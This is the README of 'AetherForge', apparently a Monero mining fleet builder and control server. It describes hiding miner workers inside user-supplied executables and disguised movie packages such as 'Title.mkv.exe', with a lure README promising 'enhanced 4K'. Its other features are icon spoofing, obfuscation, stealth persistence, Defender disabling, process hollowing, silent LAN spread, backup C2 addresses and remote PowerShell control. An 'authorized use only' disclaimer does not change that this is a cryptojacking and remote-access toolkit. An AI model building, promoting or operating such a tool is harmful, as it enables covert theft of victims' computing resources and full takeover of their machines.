# AetherForge

**Private Monero fleet command deck for machines you own.**

One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.

No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.

---

```
  ┌─────────────────────────────────────────────────────────────┐
  │  CALIBRATE (Settings)     pool · wallet · users · alerts    │
  │           │                                                 │
  │           ▼                                                 │
  │  FORGE (Builder)          worker .exe · prep fusion · movies │
  │           │                                                 │
  │           ├──► Prep fusion    embed worker in your prep.exe │
  │           ├──► Movie fusion   locked media + runner + ZIP   │
  │           │                                                 │
  │           ▼                                                 │
  │  WORKER PC                RandomX on CPU · WebSocket home   │
  │           │                                                 │
  │           ▼                                                 │
  │  COMMAND DECK             live stats · 3D map · remote ops  │
  └─────────────────────────────────────────────────────────────┘
```

---

## What This Is

AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, not a generic miner wrapper.

| Layer | What it does |
|-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |

You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.

---

## What You Get

### Command Deck (Dashboard)
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
- Live fleet hashrate, CPU/RAM gauges, share feed
- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
- Per-agent cards with pause / resume / stop / uninstall
- Fleet alerts (offline, hashrate drop, rejection spikes)
- Pool connection status and AI activity panel (Advanced mode)
- Optional matrix stream overlay (Advanced mode)

### Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime
- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
- Hashrate history charts
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
- Fleet filters, bulk commands, notes/tags

### Forge (Miner Builder)
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)

### Cross-platform workers

| OS | Persistence | Install base |
|----|-------------|--------------|
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
| Linux | systemd user service | XDG data home |
| macOS | LaunchAgent | `~/Library/Application Support` |

Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.

**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).

**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).

### Movie Fusion (detailed)

Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.

| Mode | Best for | What you get |
|------|----------|----------------|
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |

**Paired layout** (example `Vacation`):

```
fusion-deliverables/Vacation/
├── README.txt              ← tells user to run the runner for “enhanced 4K”
├── Vacation-runner.exe     ← decrypts & plays; worker hidden inside runner only
├── Vacation.mkv.cmdata     ← encrypted media (hidden)
└── Vacation.mkv.lnk        ← shortcut with --locked (MessageBox: use runner)
```

- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
- **Agent is only inside the runner** — not a loose miner file in the package

**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).

### Dashboard navigation

| Nav label | Route | Component |
|-----------|-------|-----------|
| Command Deck | `/dashboard` | `DashboardPage` |
| Fleet Roster | `/agents` | `AgentsPage` |
| Forge | `/forge` | `BuilderPage` |
| Crucible | `/crucible` | `CruciblePage` |
| Builds | `/builds` | `BuildManagerPage` |
| Field Guide | `/guide` | `GuidePage` |
| Calibrate | `/settings` | `SettingsPage` |


There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.

### Calibrate (Settings)
- Server port, public URL, data retention, max agents
- Default pool + wallet for new forge forms
- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
- Alert thresholds + Telegram / email notifications
- Open Windows Firewall for dashboard port on startup

### Under the Hood
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)

---

## Quick Start

**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.

1. Double-click **`devrun.bat`** in the project root.  
   It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.

2. Browser opens **http://localhost:8989**

3. **Sign in** when prompted — on first run, check the console window for your generated admin password

4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers

5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**  
   For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)

6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)

7. Watch them appear on **Command Deck** and **Fleet Roster**

### First-run login

On the very first launch the server generates a random admin password and prints it once to the console:

```
=== First Run ===
Dashboard login:  admin / <random-password>
Save this — it is not shown again.  Change it in Calibrate → Users.
=================
```

Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.

**API auth summary**

| Surface | Auth mechanism |
|---------|----------------|
| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) |
| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter |
| `/ws/agent` | Fleet-secret `auth` JSON frame on connect |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) |
| Static SPA + `/api/v1/health` | Open (no auth) |

### Output locations

| Artifact | Where |
|----------|--------|
| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` |
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
| Archive copy | `data\builds\{build-id}\` |
| Uninstall script | Same build folder + download API |
| Server config | `data\config.json` |
| Fleet database | `data\miner.db` |
| Dashboard build (source) | `server\web\dist\` |
| Dashboard build (served) | `server\webroot\` |

---

## Network Deployment

| Scenario | Server URL in Forge |
|----------|---------------------|
| Same LAN | `http://192.168.x.x:8989` |
| Cloudflare / reverse tunnel | `https://your-domain.com` |

Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.

**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.

---

## Project Layout

```
crypto miner/
├── devrun.bat                  ← one-click build + launch (dev)
├── run.bat / start.bat         ← aliases → devrun.bat (project-root markers)
├── test.bat                    ← full suite → scripts/test-suite.ps1
├── LAUNCH.bat                  ← portable/USB build + tunnel (see usb/)
├── scripts/
│   ├── test-suite.ps1          ← Go + web + build + Playwright E2E
│   └── smoke-test.ps1          ← API matrix B-01–B-10 (server must be running)
├── bin/
│   └── miner-server.exe
├── data/                    ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/     ← per-title movie fusion output (gitignored)
├── server/
│   ├── main.go              ← discovers webroot/, agent/, fusion/ from repo root
│   ├── webroot/             ← production UI (copied from web/dist)
│   ├── web/                 ← React command deck (Vite + TypeScript)
│   └── internal/
│       ├── api/             ← HTTP routes, WebSocket, auth
│       └── builder/         ← forge + fusion (copies agent/ + fusion/ per build)
├── agent/                   ← worker source (Forge compiles per OS)
├── fusion/                  ← prep + movie runner (builder copies into build dir)
├── tests/README.md          ← test phases, E2E env vars
├── PROBLEMS.md              ← known issues audit (severity-ranked)
└── README.md                ← you are here
```

---

## API Surface (summary)

| Method | Path | Purpose |
|--------|------|---------|
| GET | `/api/v1/health` | Health check (no auth) |
| GET/PUT | `/api/v1/config` | Calibrate settings |
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
| GET | `/api/v1/builds` | List builds |
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
| GET | `/api/v1/agents` | Fleet list |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
| GET | `/api/v1/alerts` | Active fleet alerts |
| GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |

Full route list: `server/internal/api/router.go`

---

## Manual Build (if you skip devrun.bat)

```bat
cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data
```

Open **http://localhost:8989** and sign in with your configured users.

### Run the test suite

Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.

With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.

### Dashboard dev server

```bat
cd server\web
npm run dev
```

Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.

### Tech stack (dashboard)

| Package | Version policy |
|---------|----------------|
| React | 18.x |
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
| `@react-three/drei` | 9.x |
| Vite | 5.x |

**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.

---

## Troubleshooting

| Symptom | Likely cause | Fix |
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
| Forge upload fails | File &gt; 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |

---

## Known Issues

See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.

---

# ⚠ LEGAL & FAIR USE WARNING

**Read this before you deploy anything.**

### Authorized use only

AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources.

By using this software you agree that:

1. **You will only deploy workers on systems you control** or have **written permission** to manage.
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.

### What this is NOT

- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems.
- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.

### Pool & earnings

- Use a **valid Monero wallet address you control**.
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
- This project does not guarantee profitability, uptime, or pool compatibility.

### Security responsibility

- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.

### Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.

**If you cannot accept these terms, do not run AetherForge.**

---

## License

Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.

---

<p align="center">
  <strong>AetherForge</strong> — LAN MINING COMMAND<br/>
  <sub>Calibrate · Forge · Deploy · Command</sub>
</p>
